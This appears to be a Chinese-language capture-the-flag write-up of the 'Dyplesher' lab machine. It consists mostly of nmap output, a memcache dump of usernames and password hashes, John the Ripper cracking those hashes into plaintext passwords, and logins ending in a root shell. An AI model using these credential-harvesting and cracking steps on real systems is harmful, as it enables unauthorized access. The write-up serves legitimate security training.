# Nmap 7.91 scan initiated Sat Oct 31 09:52:23 2020 as: nmap -sSVC -pn -oA nmap_full -v 10.10.10.190 Nmap scan report for 10.10.10.190 Host is up (0.0020s latency). Not shown: 65525 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gogs=cab4d447d0b05838; Path=/; HttpOnly | Set-Cookie: _csrf=AWdLS2HY7sj9MGl_uzy9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA%3D%3D; Path=/; Expires=Sun, 01 Nov 2020 09:54:27 GMT; HttpOnly | Date: Sat, 31 Oct 2020 09:54:27 GMT | <!DOCTYPE html> | <html> | <head data-suburl=""> | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge"/> | <meta name="author" content="Gogs" /> | <meta name="description" content="Gogs is a painless self-hosted Git service" /> | <meta name="keywords" content="go, git, self-hosted, gogs"> | <meta name="referrer" content="no-referrer" /> | <meta name="_csrf" content="AWdLS2HY7sj9MGl_uzy9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA==" /> | <meta name="_suburl" content="" /> | <meta proper | HTTPOptions: | HTTP/1.0 404 Not Found | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gogs=cb192a56afa1412c; Path=/; HttpOnly | Set-Cookie: _csrf=WNCCxXx-RAstuqnsdyse0s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw%3D%3D; Path=/; Expires=Sun, 01 Nov 2020 09:54:33 GMT; HttpOnly | Date: Sat, 31 Oct 2020 09:54:33 GMT | <!DOCTYPE html> | <html> | <head data-suburl=""> | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge"/> | <meta name="author" content="Gogs" /> | <meta name="description" content="Gogs is a painless self-hosted Git service" /> | <meta name="keywords" content="go, git, self-hosted, gogs"> | <meta name="referrer" content="no-referrer" /> | <meta name="_csrf" content="WNCCxXx-RAstuqnsdyse0s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw==" /> | <meta name="_suburl" content="" /> |_ <meta 4369/tcp open epmd Erlang Port Mapper Daemon |_epmd-info: ERROR: Script execution failed (use -d to debug) 5672/tcp open amqp Advanced Message Queue Protocol |_amqp-info: Unable to open connection: TIMEOUT 11211/tcp open memcache? 25562/tcp open unknown 25565/tcp open minecraft? 25572/tcp closed unknown 25672/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.91%I=7%D=10/31%Time=5F9D3452%P=x86_64-pc-linux-gnu%r(G SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20 SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\ SF:x20Request")%r(GetRequest,2063,"HTTP/1\.0\x20200\x20OK\r\nContent-Type: SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/ SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=cab4d447d0b05838; SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=AWdLS2HY7sj9MGl_uzy9BId SF:iyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA%3D%3D;\x20Path=/;\x20Expires=Sun,\x2001 SF:\x20Nov\x202020\x2009:54:27\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2031\ SF:x20Oct\x202020\x2009:54:27\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h SF:ead\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20con SF:tent=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-U SF:A-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author SF:\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20cont SF:ent=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x2 SF:0/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-ho SF:sted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-refe SF:rrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"AWdLS2HY7sj9MGl_uz SF:y9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA==\"\x20/>\n\t<meta\x20name=\"_subu SF:rl\"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta\x20proper")%r(Help,67 SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2 SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r SF:(HTTPOptions,189F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x2 SF:0text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x SF:20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=cb192a56afa1412c;\x2 SF:0Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=WNCCxXx-RAstuqnsdyse0s19mW SF:I6MTYwNDEzODA3MzA3NjcyNTg4Nw%3D%3D;\x20Path=/;\x20Expires=Sun,\x2001\x2 SF:0Nov\x202020\x2009:54:33\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2031\x20 SF:Oct\x202020\x2009:54:33\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head SF:\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20conten SF:t=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-C SF:ompatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\ SF:x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content SF:=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/> SF:\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hoste SF:d,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referre SF:r\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"WNCCxXx-RAstuqnsdyse0 SF:s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw==\"\x20/>\n\t<meta\x20name=\"_suburl\ SF:"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Oct 31 09:57:04 2020 -- 1 IP address (1 host up) scanned in 281.27 seconds
由nmap扫描可知，目前开放的端口为：
1 2 3 4 5 6 7 8 9 10
22/tcp open ssh 80/tcp open http 3000/tcp open ppp? 4369/tcp open epmd 5672/tcp open amqp 11211/tcp open memcache? 25562/tcp open unknown 25565/tcp open minecraft? 25572/tcp closed unknown 25672/tcp open unknown
dyplesher.htb:11211> get username MinatoTW felamos yuntao
dyplesher.htb:11211> get password $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa $2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK $2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
丢到john里解密，得到用户felamos的密码：
1 2 3 4 5 6 7
╭─kali@kali ~ ╰─# john hashes --wordlist=/root/htb-tools/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096 Press 'q' or Ctrl-C to abort, almost any other key for status mommy1 (felamos)
╭─kali@kali ~/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity ‹master› ╰─# file users.db users.db: SQLite 3.x database, last written using SQLite version 3027002
.tables命令查看数据表信息：
1 2 3 4 5 6
╭─kali@kali ~/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity ‹master› ╰─# sqlite3 users.db SQLite version 3.33.0 2020-08-14 13:23:32 Enter ".help" for usage hints. sqlite> .tables users
设置.header on显示表头，不然会看得比较懵：
1 2 3 4
sqlite> .header on sqlite> select * from users; unique_user_id|password|encryption|ip 18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81
有一串加密密码，利用john the ripper解密，得到alexis1：
1 2 3 4 5 6 7 8 9 10 11 12 13
╭─kali@kali ~ ╰─# cat hash $2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6 ╭─kali@kali ~ ╰─# john hash --wordlist=/root/htb-tools/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status alexis1 (?) 1g 0:00:00:56 DONE (2020-11-05 08:08) 0.01768g/s 28.06p/s 28.06c/s 28.06C/s alexis1..cameron1 Use the "--show" option to display all of the cracked passwords reliably Session completed
console界面上提示，Running Paper MC，Paper MC fork自Spigot，主要是修复Spigot的一些不足之处，Spigot是运行MineCraft服务器的一个软件，他跟官方出的服务器软件不一样的地方在于它可以为服务器装上一些插件，而且稳定性和负载性也比较好，同时也支持多服务器串联，现在的百人服务器也基本都是使用它来架设的。
System information as of Sat 07 Nov 2020 05:37:23 PM UTC
System load: 0.05 Processes: 259 Usage of /: 6.7% of 97.93GB Users logged in: 1 Memory usage: 41% IP address for ens33: 10.10.10.190 Swap usage: 0% IP address for docker0: 172.17.0.1
57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Thu Apr 23 17:33:41 2020 from 192.168.0.103 felamos@dyplesher:~$ id uid=1000(felamos) gid=1000(felamos) groups=1000(felamos)
在home目录下发现user.txt，拿到user flag：
1 2 3 4
felamos@dyplesher:~$ ls cache snap user.txt yuntao felamos@dyplesher:~$ cat user.txt xxxxxxxxxxxxxxxxxxxx
提权
在/home/felamos下存在名为yuntao的目录，目录下只有一个脚本send.sh：
1 2 3 4 5 6 7
felamos@dyplesher:~$ cd yuntao/ felamos@dyplesher:~/yuntao$ ls send.sh felamos@dyplesher:~/yuntao$ cat send.sh #!/bin/bash
echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{}
╭─kali@kali ~/htb-tools ╰─# ./amqp-publish.linux-amd64 --help Usage of ./amqp-publish.linux-amd64: -body string Message body -exchange string Exchange name -routing-key string Routing key. Use queue name with blank exchange to publish directly to queue. -uri string AMQP URI amqp://<user>:<password>@<host>:<port>/[vhost]
System information as of Sat 07 Nov 2020 06:44:33 PM UTC
System load: 0.06 Processes: 261 Usage of /: 6.7% of 97.93GB Users logged in: 1 Memory usage: 42% IP address for ens33: 10.10.10.190 Swap usage: 0% IP address for docker0: 172.17.0.1
57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Sun May 24 03:33:34 2020 root@dyplesher:~# id uid=0(root) gid=0(root) groups=0(root) root@dyplesher:~#
